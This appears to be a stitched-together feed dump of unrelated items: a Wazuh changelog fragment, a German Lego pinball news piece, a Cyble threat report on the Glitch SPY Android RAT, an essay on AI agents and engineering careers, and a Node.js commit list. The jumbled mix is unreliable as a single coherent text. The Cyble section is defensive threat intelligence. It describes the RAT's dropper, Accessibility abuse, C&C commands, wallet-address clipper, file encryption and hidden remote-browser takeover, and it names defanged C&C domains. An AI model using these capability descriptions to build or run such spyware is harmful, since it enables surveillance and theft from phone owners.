• Indexer connector bulk size and flush interval configurable by @LucioDonda in #37158
• Enable shared-password enrollment by default by @ignaciogalle12git in #37151
• Fix unit test workflow paths and report handling by @jotacarma90 in #37317
• Migrate agent + server CI artifacts to S3 — 4.14.7 (#5300, #5298) by @jr0me in #37186
• Handle eol amazon inspector classic by @rovogel in #37194
• Fix wazuh-modulesd missing after macOS agent restart by @cborla in #37020
• Fix test_worker failing unit test by @jepalfer in #37314
• Improve log messages by @Antoniogm03 in #36876
• Improve changelog format by @jotacarma90 in #37332
• Lower log level of transient cluster IPC failures (#37277, #37276) by @jotacarma90 in #37326
• Fix TypeError when sorting agents by version with empty version strings by @TomasTurina in #37323
• Migrate agent + server CI artifacts to S3 — 5.0.0 (#5300, #5298) by @jr0me in #37185
• Validate asset resource names before policy promotion by @jam300 in #37172
• Revert wazuh-server indexer credentials and propagate log context in indexer connector by @jotacarma90 in #37333
• Add VD readiness status HTTP endpoint by @jotacarma90 in #37213
• Use github.workspace for wodles report paths by @Nicogp in #37342
• Skip FIM whodata cases on the tier-2 Linux job (CodeBuild) by @Nicogp in #37291
• Migrate 4.x Windows test runners to AWS CodeBuild by @Nicogp in #37193
• Lower log level of transient queue send failures in modulesd by @lchico in #37345
• Add changelog check workflow by @TomasTurina in #37343
• Add changelog check workflow for 5.0.0 by @TomasTurina in #37351
• Retry OS_SendUnix on ENOBUFS to stop dropping binary sync messages on macOS by @nbertoldo in #37349
• change: Allow null root_decoder as alias of empty string on policy cr… by @juliancnn in #37347
• Fix eBPF FIM whodata for Amazon Linux by @Miguevrgo in #37014
• Merge 4.14.6 into 4.14.7 by @jotacarma90 in #37358
• Bump 5.0.0 branch by @wazuhci in #37371
• Merge 4.14.7 into 5.0.0 by @jotacarma90 in #37360
• Migrate remaining CI artifacts to S3 for the 5.0.0 branch (#3502) by @jr0me in #37350

New Contributors

• @MARCOSD4 made their first contribution in #36518
• @Ripdiegozz made their first contribution in #36357
• @Adman23 made their first contribution in #36750
• @jcorredor-spec made their first contribution in #36402

Full Changelog: v5.0.0-beta2...v5.0.0-beta3

Read more of this story at Slashdot.

Lego hat ab heute einen Flipperautomaten (auf Englisch: „Arcade Pinball Machine“) im Angebot. Dabei handelt es sich um ein neues Set (Nummer: 11374) aus der „Icons“-Reihe, das zum ersten Mal ein Lego-Modell in einen funktionierenden Flipper verwandelt.

Das Modell besteht aus 2.274 Teilen und ist mit mehreren klassischen Flipperfunktionen ausgestattet, darunter ein federbetriebener Kugelauswurf, Flipper, rotierende Hindernisse und Rampen. Das Ziel besteht darin, die Kugel durch ein vom Weltraum inspiriertes Spielfeld zu lenken und durch das Treffen verschiedener Ziele Punkte zu sammeln.

Das Thema dreht sich um einen klassischen Lego-Astronauten, der versucht, ein vermisstes Weltraumbaby wiederzufinden. Im Lieferumfang sind zwei Minifiguren enthalten – ein Astronaut und die Figur „Space Baby“.

Lego

Lego schreibt in bester Marketingsprache:

Das Set vereint Kreativität, Technik und Nostalgie und bietet ein einzigartiges interaktives Bauerlebnis. Das fertige Modell wurde für Erwachsene und Fans klassischer Spiele entwickelt und ist von alten Spielautomaten inspiriert. Es eignet sich zudem hervorragend als Ausstellungsstück für zu Hause, im Büro oder im Spielzimmer.

Lego ergänzt: “Bastler können ihr Erlebnis mit der LEGO Builder-App bereichern, die intuitive 3D-Bauanleitungen bietet und es den Nutzern ermöglicht, während des gesamten Bauvorgangs zu zoomen, zu drehen und ihren Fortschritt zu verfolgen”.

Voll funktionsfähig

Ist das Modell fertiggestellt, dient es nicht nur als Ausstellungsstück, sondern auch als voll funktionsfähiger Flipper. Lego beschreibt das Set als eine Kombination aus kreativem Bauen, Mechanik und nostalgischem Arcade-Feeling.

Der fertige Flipper ist 24 Zentimeter hoch, 38 Zentimeter lang und 28 Zentimeter breit.

Verkaufsstart: Ab 1.7. für Lego-Insider, ab 4.7. für alle

Der Flipperautomat alias „Lego Icons Arcade Pinball Machine“ erscheint am heutigen 1. Juli 2026 für Lego-Insiders-Mitglieder. Er ist ab dem 4. Juli dann für alle Interessierten erhältlich. Der Preis in Europa beträgt 209,99 Euro.

Executive Summary

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.

Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.

The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.

Glitch SPY maintains a persistent WebSocket channel to its C&C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.

Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.

The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.

Key Takeaways

• Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&C admin panel.
• The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.
• The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.
• Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.
• Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.
• The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.
• The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.
• The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.

Overview

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, based on branding observed on an exposed command-and-control (C&C) admin panel. The malware was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.

The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.

The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.

Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.

During analysis, the malware was observed communicating with the C&C domain sportypointsrewards[.]com. Accessing the C&C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.

However, no communicating APK associated with that second panel has been recovered at the time of analysis.

Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:

• The Agents module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.
• The Viewer module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.
• The Builder module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.
• The Cryptor module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.
• The Dropper module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.
• The Payloads module appears to store APKs generated by the Builder and Dropper modules.

Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.

After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.

This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.

A detailed technical analysis of these capabilities is provided in the following section.

Technical Analysis

The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.

After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.

Abuse of Android Accessibility Service

Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.

The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.

Command and Control

After installation, Glitch SPY starts its core C&C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.

The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.

The complete list of commands is provided below.

Screen Capture and Live Streaming

Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.

When the TA issues the request_screen_stream command from the C&C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.

The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.

For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.

This allows the malware to collect sensitive information displayed in banking applications, messaging apps, OTP prompts, browser pages, and authentication screens.

In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.

File Manager and File Encryption

Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&C as a file listing.

If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.

Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.

The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.

Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.

Crypto Clipper Functionality

The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied cryptocurrency wallet addresses with TA-configured addresses.

The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.

When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.

If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.

If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.

After the replacement, the malware reports the event to the C&C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.

Remote Browser Capability

Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.

The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&C server. This allows the TA to confirm that the browser session is active and ready for interaction.

The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.

When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.

The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.

This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.

In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.

Conclusion

Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.

Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.

The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.

While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.

Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.

Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Indicators of Compromise (IOCs)

The post Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App appeared first on Cyble.

Read the full article on GamingOnLinux.

That detail is easy to miss in the noise of every AI productivity claim. It is also the structural shift the rest of the industry is now living through. The bottleneck in software is no longer typing. It is deciding what to type. And the engineers who treat that as someone else's problem are about to plateau.

For most of the last decade, that decision sat with someone else. Software engineering was a craft you absorbed slowly, then practiced in a long, predictable sequence: Dive deep on the technology, write the code, ask Stack Overflow when stuck, escalate to a senior engineer when Stack Overflow failed, ship the ticket. The product manager owned the funnel. The engineer owned the build. Both sides treated this division as physics.

Then the funnel collapsed in five steps.

A short history of how the engineer's day got compressed

The Stack Overflow era (2014 to late 2022): The way engineers thought lived in one place. But new monthly questions on Stack Overflow are now down roughly 77% since November 2022, which was not coincidentally when ChatGPT launched. The drop is not a referendum on the site. It is a referendum on the workflow it represented.

The browser-tab era (late 2022 to 2024): The first ChatGPT generation sat outside the IDE. Engineers ran the same loop they had always run, just with a faster oracle: Write a prompt in a browser, paste the answer back into VS Code, repeat. The work was still single-threaded and engineer-driven. The leverage was real but local.

The IDE-native era (2024 to 2025): Cursor and Claude Code moved the model inside the editor and gave it access to the full repository. The senior-engineer escalation path largely dissolved. For years, the prevailing wisdom among veteran engineers was that Bash had the longest shelf life of any tool in the stack. By 2026, for a meaningful share of working developers, the first command typed in a fresh terminal is claude.

The spec-driven era (2025 to 2026): Larger context windows turned single-session work into something that previously required tickets, design docs, and sprints. Amazon's Kiro IDE team reportedly compressed feature builds from two weeks to two days using the same spec-driven workflow they were shipping. An AWS engineering team described an 18-month rearchitecture, originally scoped for 30 engineers, was completed by 6 people in 76 days. The bottleneck stopped being how long it takes to write the code. It started being how clearly the team can describe what correct looks like.

The routines era (2026): In April, Anthropic shipped Claude Code Routines: Scheduled, persistent agents that run on a cadence, on a webhook, or overnight while the laptop is closed. Cron came back. Hooks came back. The engineer's job is now part orchestration: Spin up a swarm before bed, review a stack of pull requests in the morning. Third-party wrappers like OpenClaw, which was briefly suspended by Anthropic in April before partial reinstatement, made the same point from the open-source side.

The bottleneck moved; most teams have not

Engineering has roughly tripled. Product management has not budged. The traditional 1:8 ratio of PMs to engineers, already strained, now plays out closer to an effective 1:20 because each engineer ships more per day. For instance, LinkedIn replaced its associate product manager track with a "Product Builder" program that trains generalists across product, design, and engineering. Anthropic is hiring more PMs, not fewer. The pattern is consistent across companies that have actually deployed agentic workflows in production: The system is producing built features faster than it is producing decisions about what should be built.

For engineers, this is the most important career signal of the decade, and the easiest one to miss while the productivity stories dominate the feed.

First principles matter more, not less

The instinct to declare fundamentals obsolete in the agent era gets the trend exactly wrong.

When a memory leak takes down production at 3 a.m., and the cause turns out to be a subtle ownership bug pushed 4 years ago, no agent currently in the wild closes that loop end-to-end. Operating systems, networks, concurrency, and query plans still decide who can resolve a real incident. They also decide who can spot the moments when an agent's output looks correct on the surface and is quietly, expensively, wrong underneath. The agent that wrote 70% of the code in a modern repo cannot reliably tell anyone where its assumptions about thread safety, memory ownership, or transaction isolation diverged from the runtime. The engineer who can read the diff and catch that is the engineer the rest of the team needs in the room, and that engineer is built on fundamentals, not on prompting skill.

The corollary is that fundamentals are now a leverage skill, not a hygiene skill. In 2014, knowing how a TCP retransmit worked got a debug ticket closed faster. In 2026, the same knowledge keeps an entire agent-driven release pipeline from shipping a regression at scale. The blast radius of the engineer who knows what is happening underneath has gone up, not down.

Review is the new writing

Engineers in 2026 generate code at a rate that exceeds what any of them can read carefully. The team that ships fast and survives is the team whose engineers treat reviewing AI-generated code with at least the same rigor they once reserved for writing it. The 2025 Stack Overflow developer survey put 84% of developers on AI tools, with 46% saying they do not trust the output, up sharply from 31% the year before. That gap, heavy use paired with low trust, is exactly where review skills now matter most. Coders who push lots and review little are accumulating a debt that will come due during the first real incident, and the engineer who can pay it back is the one who paired their volume with deep first-principles knowledge of the systems involved.

The new differentiator is the product funnel

Both of those are necessary. Neither is sufficient. The engineer who matters in 2026 is the one who has stopped waiting for the funnel to arrive in the form of a Jira ticket.

That means doing things the role was historically allowed to skip.

Talk to customers. Watch how they actually use the product. Read the support queue. Sit in on the sales call. The signal a product team gets through three layers of summary, an engineer can now get firsthand in an afternoon.

Generate ideas, not just estimates. The product manager who used to source ideas for 8 engineers cannot source ideas for 20 at the same fidelity. The engineer who shows up with a validated, scoped opportunity is no longer doing the PM's job. The engineer is doing the job the new ratio requires.

Work backwards from the customer. Amazon has been writing the press release first for two decades. The discipline travels well to teams of one and to swarms of agents. Both produce a great deal of working software in the wrong direction without a clear statement of what "customer wins" means before any code is written.

Stop hiding behind bandwidth. The honest answer to "Do you have capacity for this idea?" used to be 'No.' With routines, hooks, and a cooperative agent stack, the honest answer is closer to "What is the idea worth?" That is a different conversation, and a much harder one to have without a real point of view on the customer.

What the next decade rewards

The five-phase history above is not really a history of tools. It is a history of which part of the job a human had to do. The part that is still human, and that will remain human for the foreseeable future, has moved up the funnel: From typing, to reviewing, to deciding, to choosing the customer to serve and the problem to solve.

The 2026 version of a great engineer is not the one who writes the most code. It is the one who knows what to build, can prove it is worth building, and has the agent fleet plus the review discipline to ship it without the system collapsing under its own velocity.

Engineers who internalize this will spend the next decade doing the most interesting work software has ever produced. Engineers who wait for a ticket will spend it watching the ticket get written by the agent next to them.

Ishan Gupta is a software engineer at Amazon.

• [e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
• [44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
• [d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #63597
• [bb2857b85a] - (SEMVER-MINOR) crypto: align key argument names in docs and error messages (Filip Skokan) #62527
• [b9d5e87880] - (SEMVER-MINOR) crypto: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) #62527
• [ccd756d61e] - (SEMVER-MINOR) crypto: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) #62183
• [4c9251fc09] - (SEMVER-MINOR) http: add writeInformation to send arbitrary 1xx status codes (Tim Perry) #63155
• [8c989ec4a3] - (SEMVER-MINOR) inspector: expose precise coverage start to JS runtime (sangwook) #63079
• [3f54c8ba32] - Revert "stream: noop pause/resume on destroyed streams" (Stewart X Addison) #63834

Commits

• [d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #63597
• [9ff36e40f0] - build: add --enable-all-experimentals build flag (Paolo Insogna) #62755
• [7c22ee23aa] - build: def NODE_USE_NODE_CODE_CACHE only used in node_mksnapshot (Chengzhong Wu) #63588
• [2551abdb4a] - build,win: enable x64 PGO (Stefan Stojanovic) #62761
• [e8a55ce9b1] - crypto: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) #62763
• [ae61cd68f3] - crypto: harden WebCrypto against prototype pollution (Filip Skokan) #63363
• [3d05a1d396] - crypto: pass CryptoKey handles to KDF jobs (Filip Skokan) #63363
• [f9d10a3f6b] - crypto: remove async from WebCrypto methods (Filip Skokan) #63363
• [e431d93e9e] - crypto: add WebCrypto CryptoJob mode (Filip Skokan) #63363
• [56e2505e48] - crypto: wire ML-DSA and ML-KEM for use when using BoringSSL (Filip Skokan) #63255
• [3bac77f2a8] - crypto: wire ChaCha20-Poly1305 in Web Cryptography when using BoringSSL (Filip Skokan) #63255
• [1bff901b09] - crypto: wire AES-KW in Web Cryptography when using BoringSSL (Filip Skokan) #63255
• [4433fca3df] - crypto: harden CryptoKey algorithm slots (Filip Skokan) #63111
• [b5cf01217a] - crypto: harden KeyObject internal slots (Filip Skokan) #63111
• [ce84aef37d] - crypto: add guards and adjust tests for BoringSSL (Filip Skokan) #62883
• [26781689b0] - crypto: reject duplicate ML-KEM JWK key_ops (Filip Skokan) #62905
• [aeea8f4970] - crypto: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) #62706
• [407cf91656] - crypto: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) #62626
• [bb2857b85a] - (SEMVER-MINOR) crypto: align key argument names in docs and error messages (Filip Skokan) #62527
• [b9d5e87880] - (SEMVER-MINOR) crypto: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) #62527
• [b46d52b283] - crypto: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) #62499
• [ccd756d61e] - (SEMVER-MINOR) crypto: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) #62183
• [e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
• [61826df455] - crypto: coerce -0 keylen to +0 in pbkdf2 and scrypt (Jordan Harband) #63531
• [16d2fd3c07] - crypto: align verifyOneShot accepted types (Anshika Jain) #63280
• [3b8330deda] - crypto: improve system certificate enumeration logic on macOS (Robo) #62576
• [141de35399] - debugger: add --help to node inspect and improve docs (Joyee Cheung) #63201
• [b76bfcd4fa] - deps: upgrade npm to 11.16.0 (npm team) #63602
• [4ec142314c] - deps: SQLite: cherry-pick b869ed6b067d623cb1383549f2a18aa35508385d (Junsu Han) #63525
• [19e8ce1c36] - deps: upgrade npm to 11.15.0 (npm team) #63463
• [8a264260e2] - deps: update sqlite to 3.53.1 (Node.js GitHub Bot) #63217
• [50c8ff3f94] - deps: update simdjson to 4.6.4 (Node.js GitHub Bot) #62811
• [6e56f01c4b] - deps: V8: cherry-pick 435a2cdf664c (Matthias Liedtke) #63136
• [3ba813b242] - deps: cherry-pick libuv/libuv@a43e543 (Ali Hassan) #63222
• [2390e3a5ac] - doc: remove duplicated sentences in large-pull-requests.md (Joyee Cheung) #63650
• [52a1c18374] - doc: update git node land instructions for security releases (Antoine du Hamel) #63586
• [3e6b4da037] - doc: drop --experimental from --permission (Rafael Gonzaga) #63583
• [84d05163b9] - doc: explicitly ask for reproducible in JS (Rafael Gonzaga) #63479
• [7da2a4450e] - doc: fix URL postMessage example in worker_threads (Kit Dallege) #62203
• [3d79bd8b29] - doc: clarify filter option of sqlite.database.applyChangeset (Antoine du Hamel) #63515
• [4f4174aace] - doc: fix double spaces in ERR_TLS_INVALID_PROTOCOL_METHOD (Daijiro Wachi) #63511
• [388323ca4b] - doc: fix double space in modules.md (Daijiro Wachi) #63512
• [5258ccc058] - doc: fix "options" to "option" in tls.createServer (Daijiro Wachi) #63453
• [43e83e6507] - doc: fix typo in deprecations (Daijiro Wachi) #63434
• [f05a61d54c] - doc: remove unsupported template type from v8.md (René) #63410
• [c39d5fc820] - doc: fix article usage before vowel-sound acronyms (joao-oliveira-softtor) #62696
• [398261f911] - doc: remove the bi-monthly contributor spotlight section (Claudio Wunder) #62734
• [fd9e14c405] - doc: update http2's push and trailers events with rawHeaders param (YuSheng Chen) #63259
• [b943ce6933] - doc: remove inactive members from Triagers list (Antoine du Hamel) #63329
• [4b9cdfc022] - doc: reference correct function in Module docs (Robin Malfait) #63247
• [bed84b6df2] - doc: replace Visual Studio 2022 Evergreen version reference with 17.14 (Mike McCready) #63211
• [32ea70569b] - doc: recommend explicitly Tier 1 or 2 for production applications (Mike McCready) #63187
• [4627bcfd82] - doc: run license-builder (github-actions[bot]) #63232
• [28eba71845] - doc: add large pull requests contributing guide (Matteo Collina) #62829
• [2648efd438] - doc: remove unnecessary <!-- eslint- magic comments (Antoine du Hamel) #63200
• [a95fc1f8fc] - doc: clarify SEA platform support excludes darwin-x64 (MJSHANG) #63181
• [aaef29e2e1] - doc: update release steps when post-release fails (Rafael Gonzaga) #63131
• [7d81419cf2] - doc: add Hmac.digest() documentation-only deprecation (DEP0206) (Anshika Jain) #63121
• [ececd80d81] - doc: document the latest-vX.x schema (Marco Ippolito) #63033
• [27c1c1d842] - doc: remove list of versions in BUILDING.md (Antoine du Hamel) #63113
• [e369886a65] - doc,sqlite: document entryPoint argument for loadExtension (Edy Silva) #63152
• [e4e5137cbd] - errors: handle V8 warnings in DisallowJavascriptExecutionScope (Divyanshu Sharma) #63491
• [6d1f6048d2] - fs: make Date properties on Stats enumerable (LiviaMedeiros) #63328
• [44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
• [4c9251fc09] - (SEMVER-MINOR) http: add writeInformation to send arbitrary 1xx status codes (Tim Perry) #63155
• [39f61fb06c] - http2: emit session close before stream close (Matteo Collina) #63414
• [8a8f2127d1] - http2: validate non-link headers in writeEarlyHints (Matteo Collina) #62017
• [8c989ec4a3] - (SEMVER-MINOR) inspector: expose precise coverage start to JS runtime (sangwook) #63079
• [c05f38229b] - lib: cleanup stateless diffiehellman key handling (Filip Skokan) #62645
• [1c16b45d35] - lib: refactor internal webidl converters (Filip Skokan) #62979
• [02f35d6dce] - lib: define kEnumerableProperty atomically (Antoine du Hamel) #63609
• [12c51547ba] - lib: fix typos in esm loader comments (RonGamzu) #63465
• [9b03b84262] - lib: fix typo idenity => identity (Daijiro Wachi) #63112
• [a84e6b0567] - lib: fixes validator message (Daijiro Wachi) #62823
• [11734166a8] - lib: narrow ReadableStreamBYOBRequest.view return type to Uint8Array (RoomWithOutRoof) #63017
• [7cead61d21] - meta: flip mcollina emails in .mailmap (Matteo Collina) #63621
• [a08cfcfd35] - meta: label "source maps" PRs (Chengzhong Wu) #63591
• [d56e8d2512] - meta: add vfs subsystem label (René) #62331
• [6201cfe488] - meta: skip scheduled workflows on forks (Jamie Magee) #63565
• [f095e2bd31] - meta: add additional gitignore entries (James M Snell) #63267
• [1ea52c444c] - meta: move one or more collaborators to emeritus (Node.js GitHub Bot) #63402
• [b1b2327611] - meta: move one or more collaborators to emeritus (Node.js GitHub Bot) #63235
• [7d88e130a9] - meta: ignore AI assistants files (Matteo Collina) #62612
• [a53b51df38] - module: load ESM helpers eagerly in the snapshot (Joyee Cheung) #63550
• [69df688fff] - module: fix sync hook short-circuit in require() in imported CJS (Joyee Cheung) #62920
• [75d9a4ed47] - node-api: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) #62710
• [c20aa4c47b] - quic: add reusePort option to QuicEndpoint (James M Snell) #63267
• [26a30d8a7f] - quic: implement rate limiting for version nego and immediate close (James M Snell) #63267
